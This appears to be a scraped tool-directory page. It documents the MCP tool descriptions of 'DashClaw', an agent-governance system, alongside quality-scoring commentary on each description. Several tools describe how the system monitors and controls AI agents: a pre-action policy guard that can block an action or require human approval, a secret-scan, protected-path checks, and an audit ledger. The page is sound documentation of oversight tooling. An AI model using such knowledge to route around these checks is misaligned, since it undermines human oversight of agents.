Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
create_connectionCreate provider connectionB
Create an explicit provider connection backed by an environment variable. The secret value is never stored.
| Name | Required | Description | Default |
|---|---|---|---|
| label | Yes | Friendly connection label | |
| envVar | Yes | Environment variable name holding the provider secret | |
| provider | Yes | ||
| vercelTeamId | No | Optional Vercel team id for this connection |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
Description discloses a critical behavioral trait: the secret value is never stored. However, with no annotations provided, it does not disclose other behaviors like whether it overwrites existing connections, required permissions, or side effects. Adequate but not thorough.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Two focused sentences, no fluff. Immediately states purpose and a key detail (secret not stored). Well-structured for quick scanning.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Despite low complexity (4 params, no output schema), the description omits return value, error cases, and prerequisites. An AI agent would lack information on what happens after creation and how to handle failures. Incomplete for a creation tool.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 75% (3 of 4 parameters described). The description adds minimal insight beyond schema: it ties envVar to the environment variable concept but does not explain vercelTeamId or provider in more context. Baseline score is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the action ('Create an explicit provider connection') and the resource ('provider connection'). It also specifies the backing mechanism ('by an environment variable') and a key security property ('secret value is never stored'). This distinguishes it from sibling tools like list_connections.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No explicit guidance on when to use this tool versus alternatives. Does not mention prerequisites, such as that the environment variable must already exist, or that this should be used before other provider-related actions. Lacks context for selection.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
create_launch_planCreate launch planA
Create a stateful launch plan for a project: an ordered step checklist derived from the launch playbook for the declared stack (subset of: domain, vercel, neon, stripe, resend, clerk, upstash, r2, sentry, posthog). Plans TRACK the launch — each step names the existing guarded tool that performs it and a machine-evaluable reality check; nothing is executed by this tool. Stored locally under .dashclaw-local/launches/.
| Name | Required | Description | Default |
|---|---|---|---|
| domain | No | Domain being launched (required when "domain" is declared) | |
| project | No | Project id or slug; uses selected if omitted | |
| environment | No | Environment the launch targets (default "production") | |
| declared_stack | Yes | Stack pieces this launch uses, e.g. ["domain","vercel","neon","stripe"] |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations provided, the description carries the full burden. It discloses that the tool does not execute anything, stores results locally under .dashclaw-local/launches/, and associates each step with a guarded tool and reality check. Missing details like overwrite behavior or required permissions cap the score at 4.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is concise—two sentences with no wasted words. The first sentence defines the core action, and the second adds important details about tracking, non-execution, and storage. Perfectly front-loaded and efficient.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
The description explains the tool's purpose and behavior well but omits information about the return value or output format. Since there is no output schema, the description should at least hint at what the tool returns (e.g., the plan object or a confirmation). This gap prevents a higher score.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, so the baseline is 3. The description adds context about the declared_stack being a subset of listed components, but the schema already enumerates these. No additional parameter semantics beyond the schema are provided, so a 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool creates a 'stateful launch plan' and explains its role as an ordered step checklist derived from the launch playbook for a declared stack. It distinguishes the tool from execution by noting 'nothing is executed.' This specificity and differentiation from sibling tools like preflight_launch or verify_launch earns a 5.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description implies usage for planning a launch without execution, but lacks explicit guidance on when to use this versus siblings such as preflight_launch (which likely checks readiness) or verify_launch (which verifies after execution). A clear 'use this before running preflight_launch' would raise the score to 5.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
create_projectCreate projectC
Create a new project in the default workspace.
| Name | Required | Description | Default |
|---|---|---|---|
| name | Yes | Display name, e.g. 'Your Project' | |
| slug | No | Optional id-safe slug; derived from name if omitted | |
| description | No |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations, the description must disclose behavioral traits. It only states creation but omits details like idempotency, error handling (e.g., duplicate names), required permissions, or whether the workspace is fixed. This leaves significant ambiguity.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single short sentence, which is concise but under-specified. It could be expanded without becoming verbose to include critical context.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
For a simple creation tool, the description lacks completeness. It does not explain what 'default workspace' means, what happens on success, or any side effects. Given the absence of an output schema, more contextual detail is needed.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 67%, so the schema already documents two parameters. The tool description adds no parameter information beyond what is in the schema. Baseline score of 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool creates a new project and specifies the location as 'default workspace'. It uses a specific verb and resource, distinguishing it from siblings like list_projects or select_project.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No usage guidance is provided. The description does not indicate when to use this tool versus alternatives like select_project or write_project_memory, nor does it mention any prerequisites or exclusions.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
dashclaw_assumption_recordA
Record an assumption you are acting on — something you treat as true but have not verified (e.g. "staging tests passed", "no active legal hold on this record"). Attach it to the action whose decision rests on it so operators can later validate or refute it and staleness drift is tracked. Call right after the action that depends on the belief.
| Name | Required | Description | Default |
|---|---|---|---|
| basis | No | Why you believe it (optional) | |
| action_id | Yes | Parent action id the assumption underpins (from dashclaw_record) | |
| assumption | Yes | The belief being treated as true |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations provided, so description must disclose behavior. It mentions staleness tracking and operator validation, but does not address side effects, authorization needs, or any destructive potential. Acceptable but could be more thorough.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Concise two-sentence structure: first defines purpose with examples, second specifies when to call. No wasted words.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the simple parameter count and no output schema, the description covers the key aspects: what it records, why, and when. Minor gap: no mention of return value or confirmation, but not critical for this tool.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The input schema has 100% description coverage. The description adds context by explaining the role of action_id (parent action) and assumption (belief), and notes basis as optional. This enhances understanding beyond the schema.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool records an assumption attached to an action, with specific examples like 'staging tests passed'. It distinguishes from siblings by focusing on unverified beliefs and linking to parent actions via action_id.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
Explicitly states 'Call right after the action that depends on the belief', providing clear timing guidance. However, it does not explicitly exclude scenarios where assumptions are already verified or provide alternatives, though the context implies it.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
dashclaw_behavior_suggestionsA
List DashClaw Policy Coach suggestions — evidence-backed, observe-only policy suggestions the analyzer learned from this agent's locally-recorded behavior (destructive commands, protected-path writes, repeated reloads, failed loops, model/task mismatches, and the safe operating envelope). Read-only: each suggestion carries confidence, sample size, evidence, and expected effect. Review, simulate, and adopt them from the Policy Coach UI — nothing is enforced automatically.
| Name | Required | Description | Default |
|---|---|---|---|
| agent_id | No | Override default agent ID (filter to one agent) |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations, the description fully discloses read-only nature, lists behavioral categories (destructive commands, etc.), and details what each suggestion includes. It adds value beyond what annotations would provide.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single paragraph that front-loads the purpose and provides essential details without unnecessary repetition. It is concise but could be slightly more structured.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given no output schema, the description explains return fields (confidence, sample size, etc.) and directs users to the UI for further actions. It covers the tool's scope adequately for a listing tool with one optional parameter.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, so the schema already documents the parameter. The description does not add extra meaning beyond the schema's 'Override default agent ID'.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description starts with a clear verb 'List' and specifies the resource 'DashClaw Policy Coach suggestions'. It elaborates on the nature of suggestions (evidence-backed, observe-only) and lists specific categories, making it distinct from sibling tools like dashclaw_policies_list or dashclaw_guard.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description states the tool is read-only and intended for reviewing suggestions, not for enforcement, which provides clear usage context. However, it does not explicitly compare with sibling tools or state when to avoid using it.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
dashclaw_capabilities_listA
List available capabilities registered in DashClaw. Use this to discover what external APIs and tools are available before invoking them. Returns capability IDs, names, health status, and risk levels. Filter by category, risk level, or search term.
| Name | Required | Description | Default |
|---|---|---|---|
| search | No | Search by name or description | |
| category | No | Filter by category: external_api, webhook, function | |
| risk_level | No | Filter: low, medium, high, critical |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations provided, the description carries the full burden. It accurately describes a read-only operation that lists capabilities without side effects. The disclosure of return fields (IDs, names, health, risk) adds transparency. Could mention pagination or rate limits if applicable, but overall it is clear.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Two sentences efficiently cover purpose, usage guidance, and return information. Every sentence earns its place, and the key action ('List') is front-loaded. No verbose or redundant phrasing.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given 3 optional parameters and no output schema, the description adequately explains what the tool returns (IDs, names, health, risk levels). For a simple list tool, this is sufficient. Could optionally mention sorting or default ordering, but not necessary.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100% with descriptions for each parameter. The description adds context by summarizing the filter capabilities (by category, risk level, search term). This enhances the schema alone, providing a cohesive overview.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description uses a specific verb ('List') and resource ('available capabilities registered in DashClaw'), clearly distinguishing it from sibling tools like dashclaw_invoke or dashclaw_guard. It also mentions what the output includes (IDs, names, health status, risk levels).
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description explicitly states when to use this tool: before invoking other capabilities. It also explains the filtering options. However, it does not mention when not to use it or suggest alternative tools, but given its unique purpose, this is not a major gap.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
dashclaw_decisions_recentB
Query the guardrail decisions ledger for recent governed actions. Filter by agent, action type, decision verdict, or time window. Use for in-session retrospection — "what have I done recently?"
| Name | Required | Description | Default |
|---|---|---|---|
| limit | No | Max results (default 20) | |
| since | No | ISO timestamp lower bound | |
| agent_id | No | ||
| decision | No | ||
| action_type | No |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description must convey behavioral traits. It describes a query operation (read-only) but does not mention permissions, rate limits, pagination, or any side effects. The description adds minimal behavioral context beyond the action.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is two sentences, concise and front-loaded. Every sentence adds value, though the second sentence could be slightly more specific.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
For a query tool with 5 optional parameters and no output schema, the description covers the basic purpose and filters but omits details like default limit, pagination, or output format. It is adequate but not fully comprehensive.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The schema description coverage is 40% (only limit and since have descriptions). The description adds context by listing filter dimensions (agent, action type, decision, time window), which maps to parameters but does not explain formats or enum values. It partially compensates for the schema gaps.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool queries the guardrail decisions ledger for recent governed actions, using a specific verb and resource. However, it does not distinguish itself from the sibling tool 'dashclaw_recent_decisions', which appears similarly named.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description provides a usage hint ('Use for in-session retrospection') but lacks explicit when-not-to-use or alternative tools. The guidance is implied rather than explicit.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
dashclaw_guardA
Evaluate DashClaw governance policies before taking a risky action. Call this BEFORE any action that modifies external systems, deploys code, sends messages, or touches production data. Returns a decision: "allow" (proceed), "warn" (proceed with caution), "block" (stop), or "require_approval" (wait for human in Mission Control). If the decision is "block", do NOT proceed with the action.
| Name | Required | Description | Default |
|---|---|---|---|
| target | No | Primary file path, URL, or resource the action touches (lets protected-path policies match) | |
| content | No | Outbound content excerpt (file content, message body) so secret-scan and content policies can evaluate it | |
| agent_id | No | Fallback identity when no server-level agent id is configured (the configured id wins) | |
| tool_name | No | Name of the tool that will perform the action (e.g., Write, Bash, send_email) | |
| reversible | No | Whether the action can be undone | |
| risk_score | Yes | Estimated risk 0-100. Use 70+ for production systems. | |
| action_type | Yes | Category of action (e.g., deploy, send_email, database_write, api_call) | |
| write_paths | No | File paths the action will write or modify (protected-path policy matching) | |
| declared_goal | Yes | What you intend to do, in plain language | |
| systems_touched | No | Systems affected (e.g., production, database, email) |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
The description fully discloses the return decision types and their implications, including the critical directive to not proceed on 'block'. No annotations are present, so the description carries the burden well, though it omits details on side effects like logging or authorization requirements.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is concise (4 sentences) and front-loaded with the core purpose. It could benefit from bullet points for readability, but it efficiently conveys essential information without waste.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the complexity (10 parameters, no output schema), the description covers basic usage and behavior. However, it lacks details about the decision structure (e.g., additional context like reasons) and does not explain policy evaluation mechanisms, leaving some gaps for a guard tool.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The input schema has 100% coverage with descriptions for all 10 parameters. The description adds no additional parameter semantics beyond the schema, so the baseline score of 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool evaluates governance policies for risky actions, listing specific return values. However, it does not explicitly differentiate from siblings like 'check_policy' or 'simulate_action', which could overlap in purpose.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description explicitly instructs to call this 'BEFORE' risky actions, lists concrete examples of such actions, and provides directives for each possible return value. No alternatives or when-not-to-use scenarios are mentioned, but the context is clear.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
dashclaw_handoff_consumeA
Mark a handoff as consumed. Call after dashclaw_handoff_latest returns a bundle and you have processed it. Idempotent.
| Name | Required | Description | Default |
|---|---|---|---|
| id | Yes | Handoff id (hf_*) from handoff_latest | |
| session_id | No | Optional current session id for provenance |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations provided, so the description carries the full burden. It discloses idempotency and the effect of marking as consumed. However, it doesn't elaborate on side effects like whether subsequent calls to dashclaw_handoff_latest will return the same handoff.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Two sentences, no filler. The purpose is front-loaded, and every sentence adds essential information.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
No output schema is provided. The description covers the action and when to use it, but doesn't explain what happens after marking consumed (e.g., impact on dashclaw_handoff_latest). This is a minor gap for completeness.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The input schema covers 100% of parameters with descriptions. The tool description adds valuable context: 'Handoff id (hf_*) from handoff_latest' and 'Optional current session id for provenance', enhancing the schema's meaning.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool's action ('Mark a handoff as consumed') and the resource ('handoff'). It distinguishes itself from sibling tools like dashclaw_handoff_create and dashclaw_handoff_latest.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
Provides explicit context: 'Call after dashclaw_handoff_latest returns a bundle and you have processed it.' This clearly indicates when to use the tool. While it doesn't explicitly state when not to use it, the context is sufficient for most cases.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
dashclaw_handoff_createA
Create a session handoff bundle for the next session of this agent to consume on start. Call this when wrapping up — include a 1-2 sentence summary, any open loops, decisions made, and freeform state you want the next session to see.
| Name | Required | Description | Default |
|---|---|---|---|
| bundle | Yes | Handoff content: { summary, open_loops, decisions_made, state_snapshot, generated_at } | |
| agent_id | No | Fallback identity when no server-level agent id is configured (the configured id wins) | |
| project_id | No | Optional project ID — handoff is project-scoped |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations, the description carries full burden. It indicates creation but does not disclose whether it overwrites existing handoffs, requires authorization, or has side effects. The behavioral traits beyond the basic action are missing.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Two sentences with no wasted words. The first sentence states the verb and resource, the second provides usage context. It is efficiently front-loaded.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
The description covers usage and parameter content but omits return values or outcome (e.g., success indication or bundle ID). For a creation tool, the agent would benefit from knowing what to expect back.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, and the description only repeats the schema's field list for the bundle parameter. It adds no new meaning beyond the schema, meeting the baseline for high coverage.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool creates a session handoff bundle for the next session, and the context `Call this when wrapping up` reinforces the purpose. It distinguishes from siblings like `dashclaw_handoff_consume` and `dashclaw_handoff_latest`.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description explicitly says `Call this when wrapping up` and advises including a summary, open loops, decisions, and state. It provides clear when-to-use guidance but does not explicitly mention when not to use or compare to alternatives like `dashclaw_session_end`.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
dashclaw_handoff_latestB
Fetch the latest unconsumed session handoff for this agent (+ project, optional). Call this on session start to pick up where the last session left off. Returns null if no handoff is waiting.
| Name | Required | Description | Default |
|---|---|---|---|
| agent_id | No | ||
| project_id | No |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations provided. Description only mentions 'Returns null if no handoff is waiting' but lacks other behavioral traits like auth needs or read-only nature.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Two sentences: first states purpose and parameters, second gives return value and usage. Front-loaded and efficient, no wasted words.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
No output schema; description only mentions null return but not the shape of a successful handoff. Relationship with sibling tools for consuming handoffs is implied but not explained.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
0% schema description coverage. Description mentions 'for this agent (+ project, optional)' but does not clarify that agent_id is implicit or explain parameter roles beyond that.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
Description clearly states verb 'Fetch' and resource 'latest unconsumed session handoff', specifying agent and optional project. Differentiates from siblings like handoff_consume and handoff_create.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
Explicitly says 'Call this on session start to pick up where the last session left off', providing clear context. However, does not mention when not to use or alternatives.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
dashclaw_inbox_listA
List this agent's DashClaw inbox messages and unread count. Use at the start of a session, or when notified, to see governance messages, lessons, questions, and status updates addressed to you before deciding what to do next. Each message includes an is_read flag; the response also carries the total unread_count. Pair with dashclaw_messages_mark_read once you have processed them.
| Name | Required | Description | Default |
|---|---|---|---|
| type | No | Filter by message type (action, info, lesson, question, status). | |
| limit | No | Max messages (default 50). | |
| unread | No | When true, return only unread messages. | |
| agent_id | No | Filter to one agent (defaults to the configured agent id) | |
| direction | No | inbox (received) or sent. Default inbox. |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations provided; description mentions output fields (is_read flag, unread_count) but does not disclose ordering, pagination, side effects, or rate limits. For a list tool, minimally transparent.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Three sentences: purpose, usage guidance, output details. Front-loaded, no redundancy, every sentence contributes.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
With 5 optional parameters and no output schema, the description covers the return shape and common use cases. Lacks pagination or ordering details, but sufficient for typical use.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, but description adds value by explaining the output (is_read flag, unread_count) and usage pairing. This goes beyond the schema's parameter descriptions.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
Clearly states 'List this agent's DashClaw inbox messages and unread count' – specific verb+resource. Distinguishes from sibling tools like dashclaw_messages_mark_read by mentioning pairing.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
Explicit when to use: 'at the start of a session, or when notified...before deciding what to do next.' Also suggests pairing with dashclaw_messages_mark_read, though no explicit when-not or alternative tools.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
dashclaw_invokeA
Invoke a DashClaw-governed capability (external API). The capability is guarded (policy check), executed (HTTP call), and recorded (audit trail) automatically. Use this instead of making direct HTTP calls when the target API is registered as a DashClaw capability. Call dashclaw_capabilities_list first to discover available capability IDs.
| Name | Required | Description | Default |
|---|---|---|---|
| payload | No | Request payload for the capability | |
| agent_id | No | Fallback identity when no server-level agent id is configured (the configured id wins) | |
| capability_id | Yes | The capability ID (e.g., cap_abc123) | |
| declared_goal | Yes | What you're trying to accomplish |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description carries full burden. It discloses that the call is guarded (policy check), executed (HTTP call), and recorded (audit trail) automatically. It also mentions the fallback identity mechanism. Missing details on error handling or failure modes, but covers essential behaviors well.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Four sentences: main action, what happens (guard, execute, record), when to use vs. alternatives, and a prerequisite action. Every sentence earns its place, front-loaded with the core purpose. No filler or redundancy.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given no output schema, describing the return value would be beneficial but not critical. The description covers the input, behavior, and usage context. The tool has nested objects, but the schema handles those. Slightly incomplete due to lack of output description, but still very good.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 100%, and each parameter has a clear description in the schema. The description adds context about the overall governance process but does not significantly enhance parameter meaning beyond the schema. Baseline 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the verb (invoke), resource (DashClaw-governed capability/external API), and scope (guarded, executed, recorded). It distinguishes from direct HTTP calls and the sibling tool dashclaw_capabilities_list by explicitly contrasting usage. No tautology or vagueness.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
Explicitly says to use this instead of making direct HTTP calls when the target API is registered as a DashClaw capability. Also advises to call dashclaw_capabilities_list first to discover available capability IDs, providing clear when-to-use and prerequisites.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
dashclaw_learning_logA
Log a decision + outcome to the learning database. Use after making a non-obvious decision so future sessions can recall the reasoning and outcome.
| Name | Required | Description | Default |
|---|---|---|---|
| context | No | Why this decision was made | |
| outcome | No | What happened (optional, can be updated later) | |
| agent_id | No | ||
| decision | Yes | What was decided |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations exist, so the description must convey behavior. It states it logs (write) and that outcome can be updated later, but does not disclose idempotency, side effects, authentication needs, or success/failure indicators. Basic but incomplete.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is two sentences: the first states the action and object, the second provides usage guidance. No fluff, all information is essential and front-loaded.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
For a tool with 4 parameters, 1 required, no output schema, and no annotations, the description adequately explains purpose and when to use. However, it lacks details on return values, error cases, or how to later retrieve logged data, which would be helpful for an agent.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 75% (3 of 4 parameters have descriptions). The description adds value by tying parameters to purpose ('reasoning and outcome'), reinforcing that context and outcome are part of the log. However, agent_id lacks schema description, and the description does not clarify its role, so some gap remains.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool logs a decision and outcome to the learning database, with the explicit purpose of recalling reasoning in future sessions. This distinguishes it from sibling tools like dashclaw_learning_query (query) and dashclaw_recent_decisions (list).
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description provides a clear usage context: 'Use after making a non-obvious decision so future sessions can recall the reasoning and outcome.' It does not explicitly exclude alternatives but implies this is for logging, contrasting with query siblings.
